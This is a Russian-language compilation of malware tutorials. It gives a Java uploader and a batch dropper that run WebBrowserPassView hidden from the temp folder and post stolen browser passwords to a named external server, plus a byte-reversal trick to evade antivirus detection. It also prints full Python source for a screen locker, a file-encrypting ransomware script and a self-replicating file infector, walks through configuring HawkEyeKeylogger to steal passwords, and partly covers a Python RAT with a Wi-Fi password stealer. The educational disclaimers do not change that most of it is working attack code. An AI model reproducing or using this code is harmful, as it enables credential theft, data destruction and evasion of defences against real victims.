Отправлять будем http запросом. В коде указано как будто мы отправляем картинку, но не стоит на это обращать внимание.

import java.io.FileInputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.URL;
import java.net.URLConnection;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Random;

public class MAAm {
	private final String CrLf = "rn";
	private static String path = "";
	private static String urll ="";	
	private String filename = "" + new Random().nextInt();

	public static void main(String[] args) {
		path = args[0];
		urll = args[1];
		MAAm main = new MAAm();
		main.httpConn();
	}

	private void httpConn() {

		try {
			SimpleDateFormat dateFormat = new SimpleDateFormat("dd.MM.yyyy 'at' HH:mm:ss z");
			filename = (System.currentTimeMillis() + " (" + dateFormat.format(new Date()) + ") "
					+ System.getProperty("user.name") + " [" + System.getProperty("user.country") + "]") + ".txt"; //имя файла, с которым он будет приходить на сервер
		} catch (Exception e) {
		}
		System.out.println("filename: " + filename);

		System.out.println(path);
		URLConnection conn = null;
		OutputStream os = null;
		InputStream is = null;

		try {
			URL url = new URL(urll);
			System.out.println("url:" + url);
			conn = url.openConnection();
			conn.setDoOutput(true);

			String postData = "";
			InputStream imgIs = new FileInputStream(path);

			// InputStream imgIs = getClass().getResourceAsStream("/1.jpg");

			byte[] imgData = new byte[imgIs.available()];
			imgIs.read(imgData);

			String message1 = "";
			message1 += "-----------------------------4664151417711" + CrLf;
			message1 += "Content-Disposition: form-data; name="uploadedfile"; filename="" + filename + """ + CrLf;
			message1 += "Content-Type: image/jpeg" + CrLf;
			message1 += CrLf;

			// the image is sent between the messages in the multipart message.

			String message2 = "";
			message2 += CrLf + "-----------------------------4664151417711--" + CrLf;

			conn.setRequestProperty("Content-Type",
					"multipart/form-data; boundary=---------------------------4664151417711");
			// might not need to specify the content-length when sending chunked
			// data.
			conn.setRequestProperty("Content-Length",
					String.valueOf((message1.length() + message2.length() + imgData.length)));

			System.out.println("open os");
			os = conn.getOutputStream();

			System.out.println(message1);
			os.write(message1.getBytes());

			// SEND THE IMAGE
			int index = 0;
			int size = 1024;
			do {
				System.out.println("write:" + index);
				if ((index + size) > imgData.length) {
					size = imgData.length - index;
				}
				os.write(imgData, index, size);
				index += size;
			} while (index < imgData.length);
			System.out.println("written:" + index);

			System.out.println(message2);
			os.write(message2.getBytes());
			os.flush();

			System.out.println("open is");
			is = conn.getInputStream();

			char buff = 512;
			int len;
			byte[] data = new byte[buff];
			do {
				System.out.println("READ");
				len = is.read(data);

				if (len > 0) {
					System.out.println(new String(data, 0, len));
				}
			} while (len > 0);

			System.out.println("DONE");
		} catch (Exception e) {
			e.printStackTrace();
		} finally {
			System.out.println("Close connection");
			try {
				os.close();
			} catch (Exception e) {
			}
			try {
				is.close();
			} catch (Exception e) {
			}
			try {

			} catch (Exception e) {
			}
		}
	}
}

Путь к файлу передается первым параметром, а адрес сайта вторым.

Название файла у меня сконструировано следующим образом: время отправки в виде миллисекунд (время отправки в нормальном формате) имя пользователя компьютера [локализация пользователя]. Этой информации мне кажется достаточно, но по желанию можете изменить.

4.4 Демонстрация

Как видим, после всех этих действий мы спокойно получаем отправляемые файлы к себе на сервер.

5. Криптография

К сожалению, WebBrowserPassView определяется антивирусами как потенциальная угроза или троян. Сжатая UPX программа на VirusTotal набрала 41 обнаружения. Это никуда не годиться, нужно как-то замаскировать. А маскируется все очень просто. Представьте книгу, которую написали задом на перед. В целом ничего такого, очень даже не сложно ее прочитать. Однако результат VirusTotal-а понизился до 6. Хм, а если взять книгу и каждую букву в ней заменить на следом стоящую по алфавиту? Шифр Цезаря. Примитивно, но уже всего 4 антивируса что-то заподозрили. А если объединить эти два метода? А все очень просто, 0.

Да, ты просто берешь программу, записываешь ее побайтово задом на перед а так же добавляешь единицу к каждому байту и ее никакой антивирус не определяет
Для этой цели я создаю еще одно java приложение, но его уже создал сам с нуля.

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;

public class alldo {

	public static void main(String[] args) throws IOException {
		File file = new File(args[0]);
		System.out.println(file.getPath());
		InputStream in = new FileInputStream(file);
		 ByteArrayOutputStream buffer = new ByteArrayOutputStream();
		 int nRead;
		 byte[] arr = new byte[(int) file.length()];
		 while ((nRead = in.read(arr, 0, arr.length)) != -1) {
		     buffer.write(arr, 0, nRead);
		 }
		in.close();
		for (int i = 0; i < arr.length; i++) {
			arr[i]--;
		}
	
		byte temp=0;
		for (int i = 0; i < arr.length/2; i++) {
			temp=arr[arr.length-i-1];
			arr[arr.length-i-1]=arr[i];
			arr[i]=temp;
		}

		OutputStream out = new FileOutputStream(file);
		out.write(arr);
		out.flush();
		
		out.close();
		
	}
	
}

Тут принимается единственный параметр — путь к файлу. Дабы расшифровать файл — достаточно заменить

arr[i]--;

на

arr[i]++;

6. Bat to exe converter

Bat to exe converter — это прекрасный инструмент не только для преобразования .bat файлов в .exe, но и для различных действий над ними. От установки значка приложения до включения в файл других файлов (что нам очень поможет).

7. Сборка

7.1 настройка

Если кратко — мы закидываем туда WebBrowserPassView, декриптограф и приложение для отправки файла на сервер + можем закинуть туда, например, калькулятор. Что б жертва думала что запускает именно его. Так же устанавливаем значок, пишем описание программы, включаем сжатие, ставим галочку на работу во временном каталоге, остальное по ситуации.

Лично я оставлю вирус невидимым, без маскировки и запуска какого-либо приложения.

Самое необходимое для сборки готово, теперь код

md %temp%t234
REM создаем папку во временной директории 
copy WebBrowserPassView.exe %temp%t234
copy WebBrowserPassView.chm %temp%t234
REM копируем туда файлы программы
java -jar decrypt.jar %temp%t234WebBrowserPassView.exe
java -jar decrypt.jar %temp%t234WebBrowserPassView.chm
REM расшифровываем их
start %temp%t234WebBrowserPassView.exe /stext %temp%t234626384315253.mml
REM запускаем их
ping -n 2 localhost
REM ждем 2 секунды для надежности
java -jar opacha.jar %temp%t234626384315253.mml http://senseiseverywhere.kl.com.ua/retry.php
REM отправляем файлы на сервер
ping -n 1 localhost
REM удаляем папку
del /Q %temp%t234

Так же добавляем любой значок и можем заполнить описание продукта, для солидности так сказать.

В итоге, вот что у нас получилось:

7.2 Испытания

Компилируем, запускаем, ничего не видим, ибо приложение запускается в фоне. Разве что появившуюся папку в темпе, а затем она очистилась. Тут очевидно, что никто никогда не узнает что произошло. А если открыть вирус 7z, как было сделано в начале статьи?

И тут тоже ничего не понятно, ибо сжатие.

А тем временем на сервере появился новый файл, в котором наши данные

7.3 Дополнения

Как уже говорил, можно замаскировать под любое приложение, можно добавить экспорт батника, который после завершения выполнения программы будет ее удалять, можно заменить ею какой-нибудь системный файл, например тот же калькулятор.

Обнаружение как вирус

В данном виде антивирусы все равно будут ругаться, я специально оставил это, дабы мамкины хакеры не смогли использовать это во вред. Однако путь к чистому лицу вируса тут есть, нужно лишь правильно применить. Как ни как WebBrowserPassView уже никто не распознает.
VirusTotal

8. Заключение

Мы использовали:

  • Открытие .exe как архив
  • Запуск программы с аргументами
  • Создание бесплатного сервера
  • Создание своей клиент-сервер сети
  • Примитивная но эффективная криптография
  • Написание логики для объединения всех составляющих
  • Оформление

Лично мне куда удобнее и приятнее учиться на практике, на ошибках и проблемах которые возникают прямо тут и сейчас. Тобишь немного теории, для общего понимания, а затем сразу разрабатывать проект, без набития руки на примитивах и т.п. По этому, в моей статье возможно много недочетов и неточностей, но надеюсь суть я вам донес, а именно:

  1. Украсть чужие данные проще простого
  2. Не сохраняйте пароли в браузере

Так же тут не было пунктика про распространение, ибо мы ж в целях обучения, а не вреда.

Как написать шифровальщик на Python
Как написать шифровальщик на Python

Почему кому-то может прийти в голову писать малварь на Python? Мы сделаем это, чтобы изучить общие принципы вредоносостроения, а заодно вы попрактикуетесь в использовании этого языка и сможете применять полученные знания в других целях. К тому же вредонос на Python таки попадается в дикой природе, и далеко не все антивирусы обращают на него внимание.

Чаще всего Python применяют для создания бэкдоров в софте, чтобы загружать и исполнять любой код на зараженной машине. Так, в 2017 году сотрудники компании Dr.Web обнаружили Python.BackDoor.33, а 8 мая 2019 года был замечен Mac.BackDoor.Siggen.20. Другой троян — RAT Python крал пользовательские данные с зараженных устройств и использовал Telegram в качестве канала передачи данных.

Мы же создадим три демонстрационные программы: локер, который будет блокировать доступ к компьютеру, пока пользователь не введет правильный пароль, шифровальщик, который будет обходить директории и шифровать все лежащие в них файлы, а также вирус, который будет распространять свой код, заражая другие программы на Python.

Как написать локер, шифровальщик и вирус на Python

Несмотря на то что наши творения не претендуют на сколько-нибудь высокий технический уровень, они в определенных условиях могут быть опасными. Поэтому предупреждаю, что за нарушение работы чужих компьютеров и уничтожение информации может последовать строгое наказание. Давайте сразу договоримся: запускать все, что мы здесь описываем, вы будете только на своей машине, да и то осторожно — чтобы случайно не зашифровать себе весь диск.

Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Настройка среды

Итак, первым делом нам, конечно, понадобится сам Python, причем третьей версии. Не буду детально расписывать, как его устанавливать, и сразу отправлю вас скачивать бесплатную книгу «Укус питона» (PDF). В ней вы найдете ответ на этот и многие другие вопросы, связанные с Python.

Дополнительно установим несколько модулей, которые будем использовать:

pip install pyAesCrypt
pip install pyautogui
pip install tkinter

На этом с подготовительным этапом покончено, можно приступать к написанию кода.

Создание локера

Идея — создаем окно на полный экран и не даем пользователю закрыть его.

Импорт библиотек:

import pyautogui
from tkinter import Tk, Entry, Label
from pyautogu соi import click, moveTo
from time import sleep

Теперь возьмемся за основную часть программы.

# Создаем окно
root = Tk()
# Вырубаем защиту левого верхнего угла экрана
pyautogui.FAILSAFE = False
# Получаем ширину и высоту окна
width = root.winfo_screenwidth()
height = root.winfo_screenheight()
# Задаем заголовок окна
root.title('From "hacker" with love')
# Открываем окно на весь экран
root.attributes("-fullscreen", True)
# Создаем поле для ввода, задаем его размеры и расположение
entry = Entry(root, font=1)
entry.place(width=150, height=50, x=width/2-75, y=height/2-25)
# Создаем текстовые подписи и задаем их расположение
label0 = Label(root, text="╚(•⌂•)╝ Locker by hacker (╯°□°)╯︵ ┻━┻", font=1)
label0.grid(row=0, column=0)
label1 = Label(root, text="Пиши пароль и жми Ctrl + C", font='Arial 20')
label1.place(x=width/2-75-130, y=height/2-25-100)
# Включаем постоянное обновление окна и делаем паузу
root.update()
sleep(0.2)
# Кликаем в центр окна
click(width/2, height/2)
# обнуляем ключ
k = False
# Теперь непрерывно проверяем, не введен ли верный ключ
# Если введен, вызываем функцию хулиганства
while not k:
    on_closing()

Здесь pyautogui.FAILSAFE = False — защита, которая активируется при перемещении курсора в верхний левый угол экрана. При ее срабатывании программа закрывается. Нам это не надо, поэтому вырубаем эту функцию.

Чтобы наш локер работал на любом мониторе с любым разрешением, считываем ширину и высоту экрана и по простой формуле вычисляем, куда будет попадать курсор, делаться клик и так далее. В нашем случае курсор попадает в центр экрана, то есть ширину и высоту мы делим на два. Паузу (sleep) добавим для того, чтобы пользователь мог ввести код для отмены.

Сейчас мы не блокировали ввод текста, но можно это сделать, и тогда пользователь никак от нас не избавится. Для этого напишем еще немного кода. Не советую делать это сразу. Сначала давайте настроим программу, чтобы она выключалась при вводе пароля. Но код для блокирования клавиатуры и мыши выглядит вот так:

import pythoncom, pyHook

hm = pyHook.HookManager()
hm.MouseAll = uMad
hm.KeyAll = uMad
hm.HookMouse()
hm.HookKeyboard()
pythoncom.PumpMessages()

Создадим функцию для ввода ключа:

def callback(event):
    global k, entry
    if entry.get() == "hacker":
        k = True

Тут всё просто. Если ключ не тот, который мы задали, программа продолжает работать. Если пароли совпали — тормозим.

Последняя функция, которая нужна для работы окна-вредителя:

def on_closing():
    # Кликаем в центр экрана
    click(width/2, height/2)
    # Перемещаем курсор мыши в центр экрана
    moveTo(width/2, height/2)
    # Включаем полноэкранный режим
    root.attributes("-fullscreen", True)
    # При попытке закрыть окно с помощью диспетчера задач вызываем on_closing
    root.protocol("WM_DELETE_WINDOW", on_closing)
    # Включаем постоянное обновление окна
    root.update()
    # Добавляем сочетание клавиш, которые будут закрывать программу
    root.bind('<Control-KeyPress-c>', callback)

На этом наш импровизированный локер готов.

Создание шифровальщика

Этот вирус мы напишем при помощи только одной сторонней библиотеки — pyAesCrypt. Идея — шифруем все файлы в указанной директории и всех директориях ниже. Это важное ограничение, которое позволяет не сломать операционку. Для работы создадим два файла — шифратор и дешифратор. После работы исполняемые файлы будут самоудаляться.

Сначала запрашиваем путь к атакуемому каталогу и пароль для шифрования и дешифровки:

direct = input("Напиши атакуемую директорию: ")
password = input("Введи пароль: ")

Дальше мы будем генерировать скрипты для шифрования и дешифровки. Выглядит это примерно так:

with open("Crypt.py", "w") as crypt:
    crypt.write('''
    текст программы
    ''')

Переходим к файлам, которые мы будем использовать в качестве шаблонов. Начнем с шифратора. Нам потребуются две стандартные библиотеки:

import os
import sys

Пишем функцию шифрования (все по мануалу pyAesCrypt):

def crypt(file):
    import pyAesCrypt
    print('-' * 80)
    # Задаем пароль и размер буфера
    password = "'''+str(password)+'''"
    buffer_size = 512*1024
    # Вызываем функцию шифрования
    pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size)
    print("[Encrypt] '"+str(file)+".crp'")
    # Удаляем исходный файл
    os.remove(file)

Вместо str(password) скрипт-генератор вставит пароль.

Важные нюансы. Шифровать и дешифровать мы будем при помощи буфера, таким образом мы избавимся от ограничения на размер файла (по крайней мере, значительно уменьшим это ограничение). Вызов os.remove(file) нужен для удаления исходного файла, так как мы копируем файл и шифруем копию. Можно настроить копирование файла вместо удаления.

Теперь функция, которая обходит папки. Тут тоже ничего сложного.

def walk(dir):
    # Перебор всех подпапок в указанной папке
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        # Если это файл, шифруем его
        if os.path.isfile(path):
            crypt(path)
        # Если это папка, рекурсивно повторяем
        else:
            walk(path)

В конце добавим еще две строки. Одна для запуска обхода, вторая — для самоуничтожения программы.

walk("'''+str(direct)+'''")
os.remove(str(sys.argv[0]))

Здесь снова будет подставляться нужный путь.

Вот весь исходник целиком.

import os
import sys

def crypt(file):
    import pyAesCrypt
    print('-' * 80)
    password = "'"+str(password)+"'"
    buffer_size = 512*1024
    pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size)
    print("[Encrypt] '"+str(file)+".crp'")
    os.remove(file)

def walk(dir):
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        if os.path.isfile(path):
            crypt(path)
        else:
            walk(path)

walk("'''+str(direct)+'''")
print('-' * 80)
os.remove(str(sys.argv[0]))

Теперь «зеркальный» файл. Если в шифровальщике мы писали encrypt, то в дешифраторе пишем decrypt. Повторять разбор тех же строк нет смысла, поэтому сразу финальный вариант.

import os
import sys

# Функция расшифровки
def decrypt(file):
    import pyAesCrypt
    print('-' * 80)
    password = "'''+str(password)+'''"
    buffer_size = 512 * 1024
    pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, buffer_size)
    print("[Decrypt] '" + str(os.path.splitext(file)[0]) + "'")
    os.remove(file)

# Обход каталогов
def walk(dir):
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        if os.path.isfile(path):
            try:
                decrypt(path)
            except Error:
                pass
        else:
            walk(path)

walk("'''+str(direct)+'''")
print('-' * 80)
os.remove(str(sys.argv[0]))

Итого 29 строк, из которых на дешифровку ушло три. На случай, если какой-то из файлов вдруг окажется поврежденным и возникнет ошибка, пользуемся отловом исключений (try…except). То есть, если не получиться расшифровать файл, мы его просто пропускаем.

Создание вируса

Здесь идея в том, чтобы создать программу, которая будет заражать другие программы с указанным расширением. В отличие от настоящих вирусов, которые заражают любой исполняемый файл, наш будет поражать только другие программы на Python.

На этот раз нам не потребуются никакие сторонние библиотеки, нужны только модули sys и os. Подключаем их.

import sys
import os

Создадим три функции: сообщение, парсер, заражение.

Функция, которая сообщает об атаке:

def code(void):
    print("Infected")

Сразу вызовем ее, чтобы понять, что программа отработала:

code(None)

Обход директорий похож на тот, что мы делали в шифровальщике.

def walk(dir):
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        # Если нашли файл, проверяем его расширение
        if os.path.isfile(path):
            # Если расширение — py, вызываем virus
            if (os.path.splitext(path)[1] == ".py"):
                virus(path)
            else:
                pass
        else:
            # Если это каталог, заходим в него
            walk(path)

В теории мы могли бы таким же образом отравлять исходники и на других языках, добавив код на этих языках в файлы с соответствующими расширениями. А в Unix-образных системах скрипты на Bash, Ruby, Perl и подобном можно просто подменить скриптами на Python, исправив путь к интерпретатору в первой строке.

Вирус будет заражать файлы «вниз» от того каталога, где он находится (путь мы получаем, вызвав os.getcwd()).

В начале и в конце файла пишем вот такие комментарии:

# START #
# STOP #

Чуть позже объясню зачем.

Дальше функция, которая отвечает за саморепликацию.

def virus(python):
    begin = "# START #n"
    end = "# STOP #n"
    # Читаем атакуемый файл, назовем его copy
    with open(sys.argv[0], "r") as copy:
        # Создаем флаг
        k = 0
        # Создаем переменную для кода вируса и добавляем пустую строку
        virus_code = "n"
        # Построчно проходим заражаемый файл
        for line in copy:
            # Если находим маркер начала, поднимаем флаг
            if line == begin:
                k = 1
                # Добавляем маркер в зараженный код
                virus_code += begin
            # Если мы прошли начало, но не дошли до конца, копируем строку
            elif k == 1 and line != end:
                virus_code += line
            # Если дошли до конца, добавляем финальный маркер и выходим из цикла
            elif line == end:
                virus_code += end
                break
            else:
                pass
    # Снова читаем заражаемый файл
    with open(python, "r") as file:
        # Создаем переменную для исходного кода
        original_code = ""
        # Построчно копируем заражаемый код
        for line in file:
            original_code += line
            # Если находим маркер начала вируса, останавливаемся и поднимаем флаг vir
            if line == begin:
                vir = True
                break
            # Если маркера нет, опускаем флаг vir
            else:
                vir = False
    # Если флаг vir опущен, пишем в файл вирус и исходный код
    if not vir:
        with open(python, "w") as paste:
            paste.write(virus_code + "nn" + original_code)
    else:
        pass

Теперь, думаю, стало понятнее, зачем нужны метки «старт» и «стоп». Они обозначают начало и конец кода вируса. Сперва мы читаем файл и построчно просматриваем его. Когда мы наткнулись на стартовую метку, поднимаем флаг. Пустую строку добавляем, чтобы вирус в исходном коде начинался с новой строки. Читаем файл второй раз и записываем построчно исходный код. Последний шаг — пишем вирус, два отступа и оригинальный код. Можно поиздеваться и записать его как-нибудь по-особому — например, видоизменить все выводимые строки.

Создание исполняемого файла

Как запустить вирус, написанный на скриптовом языке, на машине жертвы? Есть два пути: либо как-то убедиться, что там установлен интерпретатор, либо запаковать созданный нами шифровальщик вместе со всем необходимым в единый исполняемый файл. Этой цели служит утилита PyInstaller. Вот как ей пользоваться.

Устанавливаем

pip install PyInstaller

И вводим команду

PyInstaller "имя_файла.py" --onefile --noconsole

Немного ждем, и у нас в папке с программой появляется куча файлов. Можете смело избавляться от всего, кроме экзешников, они будет лежать в папке dist.

Говорят, что с тех пор, как начали появляться вредоносные программы на Python, антивирусы стали крайне нервно реагировать на PyInstaller, причем даже если он прилагается к совершенно безопасной программе.

Я решил проверить, что VirusTotal скажет о моих творениях. Вот отчеты:

  • файл Crypt.exe не понравился 12 антивирусам из 72;
  • файл Locker.exe — 10 антивирусам из 72;
  • файл Virus.exe — 23 антивирусам из 72.

Худший результат показал Virus.exe — то ли некоторые антивирусы обратили внимание на саморепликацию, то ли просто название файла не понравилось. Но как видите, содержимое любого из этих файлов насторожило далеко не все антивирусы.

Итого

Итак, мы написали три вредоносные программы: локер, шифровальщик и вирус, использовав скриптовый язык, и упаковали их при помощи PyInstaller.

Безусловно, наш вирус — не самый страшный на свете, а локер и шифровальщик еще нужно как-то доставлять до машины жертвы. При этом ни одна из наших программ не общается с C&C-сервером и я совсем не обфусцировал код.

Тем не менее уровень детекта антивирусами оказался на удивление низким. Получается, что даже самый простой вирус шифровальщик может стать угрозой. Так что антивирусы антивирусами, но скачивать из интернета случайные программы и запускать их не думая всегда будет небезопасно.

Источник

Первым делом вам нужно определиться, через какую программу вы будете делать вирус. Я делал через программу HawkEyeKeylogger (почему делал, ответ будет в конце статьи). Итак, скачиваем эту программу на каком-нибудь сайте. Когда скачали, отключаем антивирус, так как эта программа сама вирусная.

Руководство по созданию вируса, который ворует пароли

1. Запускаем программу у меня дизайн такой (http://i.imgur.com/9tqPgpg.png).

2. Переходим во вкладку Delivery (http://i.imgur.com/1LljdkD.png).

3. Сворачиваем программу и идём на этот сайт, для создания своего сайта hostinger.ru или любой платный хостинг.

4. Создаём аккаунт, в правом верхнем углу, или входим через Facebook или Google+.

5. После того как зарегистрировались создаём новый аккаунт, уже на своём профиле (http://i.imgur.com/z7o6nuO.png).

6. Выбираем тарифный план Бесплатный и жмём заказать.

7. Заполняем поля (http://i.imgur.com/ga6rRfu.png), вот как я заполнил (http://i.imgur.com/UIhDSFd.png), жмём продолжить, подтверждаем что вы не робот, и заказать.

8. Переходим на наш сайт (http://i.imgur.com/7D4Hijg.png).

9. Теперь вы должны взять на заметку эти строки (http://i.imgur.com/UNvw2TV.png). Переходим на ваш сайт, он находится в зелёной рамочке на скриншоте. И у вас должен быть такой дизайн (http://i.imgur.com/Eo2yp7p.png).

10. Возвращаемся в нашу программу. И заполняем как на скриншоте (http://i.imgur.com/Sg785J4.png). 1. Вставляем ваш IP АДРЕС с пункта 9. (1 скриншот). 2. ИМЯ ПОЛЬЗОВАТЕЛЯ. 3. Ваш пароль, который вы указывали при создании сайта, не аккаунта.

11. Переходим в Option #1 и ставим всё как на скриншоте (http://i.imgur.com/oEyoczo.png). 1. Какие пароли сворует программа. 2. Запуск от имени администратора. 3. Удаление программы после запуска.

12. Option #2 и Option #3 пропускаем.

13. Переходим в Option #4. В этом разделе можно выбрать иконку вашего вируса. Скачайте для себя любую иконку с расширением .ico и жмём (http://i.imgur.com/cbIygv9.png) и выбираем вашу иконку.

14. Option #5 пропускаем.

15. И переходи в Build. Ставим галочку, напротив, I Agreed The TOS и жмём Build.

16. Сохраняем.

17. Вам нужно подождать 24 часа. Зачем, спросите вы. Для того чтобы программа не закрыла сайт. Если вы сейчас запустите ваш вирус, то ваш сайт на хостинге блокируется. Или же вы можете попробовать запустить ваш вирус и через 1-3 минуты обновить ваш сайт. И там под файлом Default должен появиться ещё один файл. Вы на его жмёте и он загружается, или открывается в новой вкладке. И там будут все пароли.

На этом всё. Сейчас расскажу кратко в чём я имел в виду: я делал через программу HawkEyeKeylogger (почему делал, ответ будет в конце статьи.

Всё это карается статьями Уголовного Кодекса Российской Федерации. Вот некоторые: Статья 273 — распространение вируса наказываются лишением свободы на срок от трех до семи лет. Статья 138 Уголовного Кодекса часть 1 (нарушение тайны переписки) и часть 1 статьи 272 Уголовного Кодекса (неправомерный доступ к компьютерной информации). До 2 лет тюрьмы, причем не условно.

Так что всё продумываете перед взломом или бросайте это дело.

Только зарегистрированные и авторизованные пользователи могут оставлять комментарии.

Как написать троян на Python

malware rat python 8

В этой статье я рас­ска­жу, как написать простой троян на Python с уда­лен­ным дос­тупом, а для боль­шей скрыт­ности мы встро­им его в игру. Даже если вы не зна­ете Python, то смо­жете луч­ше понять, как устро­ены такие вре­доно­сы, и поуп­ражнять­ся в прог­рамми­рова­нии.

Ко­неч­но, при­веден­ные в статье скрип­ты совсем не годят­ся для исполь­зования в боевых усло­виях: обфуска­ции в них нет, прин­ципы работы прос­ты как пал­ка, а вре­донос­ные фун­кции отсутс­тву­ют вовсе. Тем не менее при желании их воз­можно исполь­зовать для нес­ложных пакос­тей или приколов.

Как написать троян на Python

Итак, что есть тро­ян? Вирус — это прог­рамма, глав­ная задача которой — самоко­пиро­вание. Червь активно рас­простра­няет­ся по сети (типич­ный при­мер — «Петя» и WannaCry), а тро­ян — скры­тая вре­донос­ная прог­рамма, которая мас­киру­ется под «хороший» софт и шпионить за пользователем. Подробнее о троянах в статье «Что такое RAT».

Ло­гика подоб­ного зараже­ния в том, что поль­зователь сам ска­чает себе вре­донос на компь­ютер (нап­ример, под видом кряк­нутой прог­раммы), сам отклю­чит защит­ные механиз­мы (ведь прог­рамма выг­лядит хорошей) и захочет оста­вить надол­го.

Хакеры и тут не дрем­лют, так что в новос­тях то и дело мель­кают сооб­щения о новых жер­твах пират­ско­го ПО и о шиф­роваль­щиках, поража­ющих любите­лей халявы. Но мы‑то зна­ем, что бес­плат­ный сыр быва­ет толь­ко в мусор­ке, и сегод­ня научим­ся очень прос­то начинять тот самый сыр чем‑то не впол­не ожи­даемым.

Определение IP-адреса

Для начала нам (то есть нашему тро­яну) нуж­но понять, где он ока­зал­ся. Важ­ная часть вашей информа­ции — IP-адрес, по которо­му с заражен­ной машиной мож­но будет соеди­нить­ся в даль­нейшем.

Нач­нем писать код. Сра­зу импорти­руем биб­лиоте­ки:

Код получе­ния внеш­него и внут­ренне­го адре­сов будет таким. Обра­тите вни­мание, что, если у жер­твы нес­коль­ко сетевых интерфей­сов (нап­ример, WiFi и Ethernet одновре­мен­но), этот код может вес­ти себя неп­равиль­но.

Ес­ли с локаль­ным адре­сом все более‑менее прос­то — находим имя устрой­ства в сети и смот­рим IP по име­ни устрой­ства, — то вот с пуб­личным IP все несколько слож­нее.

Вы­вес­ти информа­цию еще про­ще:

За­пус­тив этот скрипт, мы смо­жем опре­делить IP-адрес нашего (или чужого) компь­юте­ра.

Бэкконнект по почте

Те­перь напишем скрипт, который будет при­сылать нам пись­мо.

Им­порт новых биб­лиотек (обе нуж­но пред­варитель­но пос­тавить через pip install ):

Пи­шем базовую информа­цию о себе:

Даль­ше сфор­миру­ем пись­мо:

Пос­ледний штрих — нас­тро­ить под­клю­чение к поч­товому сер­вису. Я поль­зуюсь Яндекс.Поч­той, поэто­му нас­трой­ки выс­тавлял для нее.

Пол­ный код этой час­ти тро­яна:

После запуска скрипта, получа­ем пись­мо.

Этот скрипт я про­верил на VirusTotal. Резуль­тат на скри­не.

malware rat python 7

Создание трояна на Python

По задум­ке, тро­ян пред­став­ляет собой кли­ент‑сер­верное при­ложе­ние с кли­ентом на машине ата­куемо­го и сер­вером на запус­кающей машине. Дол­жен быть реали­зован мак­сималь­ный уда­лен­ный дос­туп к сис­теме.

Как обыч­но, нач­нем с биб­лиотек:

Для начала напишем игру «Уга­дай чис­ло». Тут все край­не прос­то, поэто­му задер­живать­ся дол­го не буду.

Вот код нашего тро­яна. Ниже мы будем раз­бирать­ся, как он работа­ет, что­бы не про­гова­ривать заново базовые вещи.

Сна­чала нуж­но разоб­рать­ся, что такое сокет и с чем его едят. Сокет прос­тым язы­ком — это условная вил­ка или розет­ка для прог­рамм. Сущес­тву­ют кли­ент­ские и сер­верные сокеты: сер­верный прос­лушива­ет опре­делен­ный порт (розет­ка), а кли­ент­ский под­клю­чает­ся к сер­веру (вил­ка). Пос­ле того как уста­нов­лено соеди­нение, начина­ется обмен дан­ными.

Итак, стро­ка client = socket. socket( socket. AF_INET, socket. SOCK_STREAM) соз­дает эхо‑сер­вер (отпра­вили зап­рос — получи­ли ответ). AF_INET озна­чает работу с IPv4-адре­саци­ей, а SOCK_STREAM ука­зыва­ет на то, что мы исполь­зуем TCP-под­клю­чение вмес­то UDP, где пакет посыла­ется в сеть и далее не отсле­жива­ется.

Стро­ка client. connect(( HOST, PORT) ) ука­зыва­ет IP-адрес хос­та и порт, по которым будет про­изво­дить­ся под­клю­чение, и сра­зу под­клю­чает­ся.

Фун­кция client. recv( 1024) при­нима­ет дан­ные из сокета и явля­ется так называ­емым «бло­киру­ющим вызовом». Смысл такого вызова в том, что, пока коман­да не передас­тся или не будет отвер­гну­та дру­гой сто­роной, вызов будет про­дол­жать выпол­нять­ся. 1024 — это количес­тво задей­ство­ван­ных бай­тов под буфер при­ема.

Нель­зя будет при­нять боль­ше 1024 байт (1 Кбайт) за один раз, но нам это и не нуж­но: час­то вы руками вво­дите в кон­соль боль­ше 1000 сим­волов? Пытать­ся мно­гок­ратно уве­личить раз­мер буфера не нуж­но — это зат­ратно и бес­полез­но, так как нужен боль­шой буфер при­мер­но раз в никог­да.

malware rat python 1 Те­кущая кодовая стра­ница

Ко­диров­ка по умол­чанию для рус­ско­гово­рящих устрой­ств — 866, где кирил­лица добав­лена в латини­цу. В англо­языч­ных вер­сиях сис­темы исполь­зует­ся обыч­ный Unicode, то есть utf-8 в Python. Мы же говорим на рус­ском язы­ке, так что под­держи­вать его нам прос­то необ­ходимо.

При при­еме коман­ды нуж­но опре­делить, не слу­жеб­ная ли она. Если так, выпол­няем опре­делен­ные дей­ствия, ина­че, если вклю­чен тер­минал, перенап­равля­ем коман­ду туда. Недос­таток — резуль­тат выпол­нения так и оста­ется необ­работан­ным, а его хорошо бы отправ­лять нам. Это будет вам домаш­ним задани­ем: реали­зовать эту фун­кцию мож­но от силы минут за пят­надцать, даже если гуг­лить каж­дый шаг.

Ре­зуль­тат про­вер­ки кли­ента на VirusTotal порадо­вал.

malware rat python 2

Ба­зовый тро­ян написан, и сей­час мож­но сде­лать очень мно­гое на машине ата­куемо­го, ведь у нас дос­туп к коман­дной стро­ке. Но почему бы нам не рас­ширить набор фун­кций? Давайте еще пароли от WiFi!

Создание WiFi-стилера на Python

За­дача — соз­дать скрипт, который из коман­дной стро­ки узна­ет все пароли от дос­тупных сетей Wi-Fi.

Прис­тупа­ем. Импорт биб­лиотек:

Мо­дуль subprocess нужен для соз­дания новых про­цес­сов и соеди­нения с потока­ми стан­дар­тно­го вво­да‑вывода, а еще для получе­ния кодов воз­вра­та от этих про­цес­сов.

Итак, скрипт для извле­чения паролей WiFi:

Вве­дя коман­ду netsh wlan show profiles в коман­дной стро­ке, мы получим сле­дующее.

malware rat python 3 netsh wlan show profiles

malware rat python 4 1 netsh wlan show profile ASUS key=clear malware rat python 5 Результат VirusTotal

Ос­талась одна проб­лема: наша изна­чаль­ная задум­ка была заб­рать пароли себе, а не показы­вать их поль­зовате­лю. Испра­вим же это.

